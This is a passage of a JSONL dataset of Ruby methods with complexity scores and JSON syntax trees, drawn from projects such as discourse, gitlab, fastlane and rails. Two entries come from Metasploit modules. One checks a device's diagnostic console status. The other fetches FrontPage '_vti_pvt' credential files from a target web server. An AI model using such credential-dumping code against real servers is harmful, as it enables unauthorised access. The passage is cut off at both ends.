end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"get_console_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Getting diagnostic console status and profile_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"settings\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"session\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to get diagnostic console status or profile_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\bid=\\\"profile_id\\\"\\\\W+.*\\\\bvalue=\\\"([^\\\"]*)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to get profile_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"profile_id\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<input\\\\W+.*\\\\b(id=\\\"allow_console_access\\\"\\\\W+.*\\\\bchecked=\\\"checked\\\"|checked=\\\"checked\\\"\\\\W+.*\\\\bid=\\\"allow_console_access\\\")\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"console_status\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<input\\\\W+.*\\\\bid=\\\"allow_console_access\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"console_status\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to get diagnostic console status\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Console is currently: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console_status\"]},{\"type\":\"str\",\"children\":[\"Enabled\"]},{\"type\":\"str\",\"children\":[\"Disabled\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console_status\"]},{\"type\":\"lvar\",\"children\":[\"profile_id\"]}]}]}]}","id":"1c23ae89-a326-459e-9d2c-59e0ac7014c0"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/survey.rb","start_line":26,"raw_source":"def can_user_submit?(user)\n    return true unless user\n    return true if allow_resubmission?\n\n    !completed_by_user?(user)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_user_submit?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_resubmission?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"completed_by_user?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"!\"]}]}]}","id":"958ebf94-a797-4e1f-b99e-c118820c1bc4"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/models/category_user_spec.rb","start_line":11,"raw_source":"def regular\n    CategoryUser.notification_levels[:regular]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"regular\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"regular\"]}]}]}","id":"9dd16f44-5729-4418-bc48-bfffa8979ecc"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/setup/setup_ios.rb","start_line":21,"raw_source":"def setup_ios\n      require 'spaceship'\n\n      self.platform = :ios\n\n      welcome_to_fastlane\n\n      self.fastfile_content = fastfile_template_content\n      self.appfile_content = appfile_template_content\n\n      if preferred_setup_method\n        self.send(preferred_setup_method)\n\n        return\n      end\n\n      options = {\n        \"📸  Automate screenshots\" => :ios_screenshots,\n        \"👩‍✈️  Automate beta distribution to TestFlight\" => :ios_testflight,\n        \"🚀  Automate App Store distribution\" => :ios_app_store,\n        \"🛠  Manual setup - manually setup your project to automate your tasks\" => :ios_manual\n      }\n\n      selected = UI.select(\"What would you like to use fastlane for?\", options.keys)\n      @method_to_use = options[selected]\n\n      begin\n        self.send(@method_to_use)\n      rescue => ex\n        # If it's already manual, and it has failed\n        # we need to re-raise the exception, as something definitely is wrong\n        raise ex if @method_to_use == :ios_manual\n\n        # If we're here, that means something else failed. We now show the\n        # error message and fallback to `:ios_manual`\n        UI.error(\"--------------------\")\n        UI.error(\"fastlane init failed\")\n        UI.error(\"--------------------\")\n\n        UI.verbose(ex.backtrace.join(\"\\n\"))\n        if ex.kind_of?(Spaceship::Client::BasicPreferredInfoError) || ex.kind_of?(Spaceship::Client::UnexpectedResponse)\n          UI.error(ex.preferred_error_info)\n        else\n          UI.error(ex.to_s)\n        end\n\n        UI.important(\"Something failed while running `fastlane init`\")\n        UI.important(\"Tried using Apple ID with email '#{self.user}'\")\n        UI.important(\"You can either retry, or fallback to manual setup which will create a basic Fastfile\")\n        if UI.confirm(\"Would you like to fallback to a manual Fastfile?\")\n          self.ios_manual\n        else\n          self.send(@method_to_use)\n        end\n        # the second time, we're just failing, and don't use a `begin` `rescue` block any more\n      end\n    end","complexity_score":57.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_ios\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"spaceship\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform=\",{\"type\":\"sym\",\"children\":[\"ios\"]}]},{\"type\":\"send\",\"children\":[null,\"welcome_to_fastlane\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fastfile_content=\",{\"type\":\"send\",\"children\":[null,\"fastfile_template_content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"appfile_content=\",{\"type\":\"send\",\"children\":[null,\"appfile_template_content\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preferred_setup_method\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"send\",\"children\":[null,\"preferred_setup_method\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"📸  Automate screenshots\"]},{\"type\":\"sym\",\"children\":[\"ios_screenshots\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"👩‍✈️  Automate beta distribution to TestFlight\"]},{\"type\":\"sym\",\"children\":[\"ios_testflight\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"🚀  Automate App Store distribution\"]},{\"type\":\"sym\",\"children\":[\"ios_app_store\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"🛠  Manual setup - manually setup your project to automate your tasks\"]},{\"type\":\"sym\",\"children\":[\"ios_manual\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"selected\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"select\",{\"type\":\"str\",\"children\":[\"What would you like to use fastlane for?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"keys\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@method_to_use\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"selected\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"ivar\",\"children\":[\"@method_to_use\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@method_to_use\"]},\"==\",{\"type\":\"sym\",\"children\":[\"ios_manual\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"--------------------\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"fastlane init failed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"--------------------\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Client\"]},\"BasicPreferredInfoError\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Client\"]},\"UnexpectedResponse\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"preferred_error_info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Something failed while running `fastlane init`\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Tried using Apple ID with email '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"You can either retry, or fallback to manual setup which will create a basic Fastfile\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"confirm\",{\"type\":\"str\",\"children\":[\"Would you like to fallback to a manual Fastfile?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"ios_manual\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"ivar\",\"children\":[\"@method_to_use\"]}]}]}]}]},null]}]}]}]}","id":"ef5ab561-6fa2-4b8d-b5cd-3847464ddb2a"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/shipments_controller.rb","start_line":23,"raw_source":"def update\n            result = update_service.call(shipment: resource, shipment_attributes: permitted_resource_params)\n            render_result(result)\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_service\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shipment\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shipment_attributes\"]},{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_result\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"db017a1e-f34c-4f40-abbf-ffd335f68976"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/eager_loading/custom_value.rb","start_line":95,"raw_source":"def version_values(id)\n            @version_values ||= eager_load_values \"version\", Version\n\n            @version_values[id.to_i]\n          end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"version_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version_values\"]},{\"type\":\"send\",\"children\":[null,\"eager_load_values\",{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"const\",\"children\":[null,\"Version\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version_values\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_i\"]}]}]}]}","id":"7c230a7f-07bc-4592-913b-a1dab4a2f93d"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/if_else_tag_test.rb","start_line":178,"raw_source":"def test_multiple_conditions\n    tpl = \"{% if a or b and c %}true{% else %}false{% endif %}\"\n\n    tests = {\n      [true, true, true] => true,\n      [true, true, false] => true,\n      [true, false, true] => true,\n      [true, false, false] => true,\n      [false, true, true] => true,\n      [false, true, false] => false,\n      [false, false, true] => false,\n      [false, false, false] => false,\n    }\n\n    tests.each do |vals, expected|\n      a, b, c = vals\n      assigns = { 'a' => a, 'b' => b, 'c' => c }\n      assert_template_result(expected.to_s, tpl, assigns, message: assigns.to_s)\n    end\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiple_conditions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tpl\",{\"type\":\"str\",\"children\":[\"{% if a or b and c %}true{% else %}false{% endif %}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tests\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"true\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"true\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"false\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"false\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tests\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vals\"]},{\"type\":\"arg\",\"children\":[\"expected\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a\"]},{\"type\":\"lvasgn\",\"children\":[\"b\"]},{\"type\":\"lvasgn\",\"children\":[\"c\"]}]},{\"type\":\"lvar\",\"children\":[\"vals\"]}]},{\"type\":\"lvasgn\",\"children\":[\"assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"lvar\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"lvar\",\"children\":[\"b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"tpl\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigns\"]},\"to_s\"]}]}]}]}]}]}]}]}","id":"ade7b938-2cfd-4708-8ff4-5ca984df4f34"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/update_user_thread_last_read.rb","start_line":51,"raw_source":"def fetch_message(params:, thread:)\n      ::Chat::Message.with_deleted.find_by(\n        id: params.message_id || thread.last_message_id,\n        thread: thread,\n        chat_channel: thread.channel,\n      )\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_message\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"params\"]},{\"type\":\"kwarg\",\"children\":[\"thread\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"Message\"]},\"with_deleted\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"last_message_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread\"]},{\"type\":\"lvar\",\"children\":[\"thread\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"channel\"]}]}]}]}]}","id":"06f6b83d-7b56-46aa-9fbe-c56fd9c3a11a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/connection_test.rb","start_line":38,"raw_source":"def test_ctype\n      assert_queries_count(1, include_schema: true) do\n        assert_not_nil @connection.ctype\n      end\n    end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ctype\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_schema\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"ctype\"]}]}]}]}","id":"24830179-1a57-425b-82ab-ce80ff4008e3"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_out_copy.rb","start_line":11,"raw_source":"def startup\n      $LOAD_PATH.unshift File.expand_path(File.join(File.dirname(__FILE__), '..', 'scripts'))\n      require 'fluent/plugin/out_test'\n      require 'fluent/plugin/out_test2'\n    end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"startup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$LOAD_PATH\"]},\"unshift\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"str\",\"children\":[\"scripts\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"fluent/plugin/out_test\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"fluent/plugin/out_test2\"]}]}]}]}","id":"1f19ed1d-8483-4235-b268-9bc365523aa5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/cloud_seed/google_cloud/create_service_accounts_service.rb","start_line":35,"raw_source":"def service_account_desc\n        \"GitLab generated service account for project '#{project.name}' and environment '#{environment_name}'\"\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"service_account_desc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GitLab generated service account for project '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"' and environment '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}","id":"395f333b-a2a7-4c10-a35a-cb530cb9b42c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blob_helper.rb","start_line":226,"raw_source":"def contribution_options(project)\n    options = []\n\n    options << link_to(\"submit an issue\", new_project_issue_path(project)) if can?(current_user, :create_issue, project)\n\n    merge_project = merge_request_source_project_for_project(@project)\n    options << link_to(\"create a merge request\", project_new_merge_request_path(project)) if merge_project\n\n    options\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"contribution_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_issue\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"str\",\"children\":[\"submit an issue\"]},{\"type\":\"send\",\"children\":[null,\"new_project_issue_path\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"merge_project\",{\"type\":\"send\",\"children\":[null,\"merge_request_source_project_for_project\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"str\",\"children\":[\"create a merge request\"]},{\"type\":\"send\",\"children\":[null,\"project_new_merge_request_path\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"2c916a2c-99f1-4ba3-98f8-141adf9788d1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/frontpage_credential_dump.rb","start_line":44,"raw_source":"def get_pass_file(fname)\n    uri = normalize_uri(target_uri.path, '_vti_pvt', fname)\n\n    vprint_status(\"Requesting: #{uri}\")\n    res = send_request_cgi({\n      'uri' => uri,\n      'method' => 'GET',\n    })\n\n    unless res.code == 200\n      vprint_status(\"File #{uri} not found.\")\n      return nil\n    end\n\n    vprint_status(\"Found #{uri}.\")\n\n    unless res.body.lines.first.chomp == '# -FrontPage-'\n      vprint_status(\"File does not contain FrontPage credentials.\")\n      vprint_status(res.body)\n      return nil\n    end\n\n    vprint_status(\"Found FrontPage credentials.\")\n    return res.body\n  end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_pass_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fname\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"_vti_pvt\"]},{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File 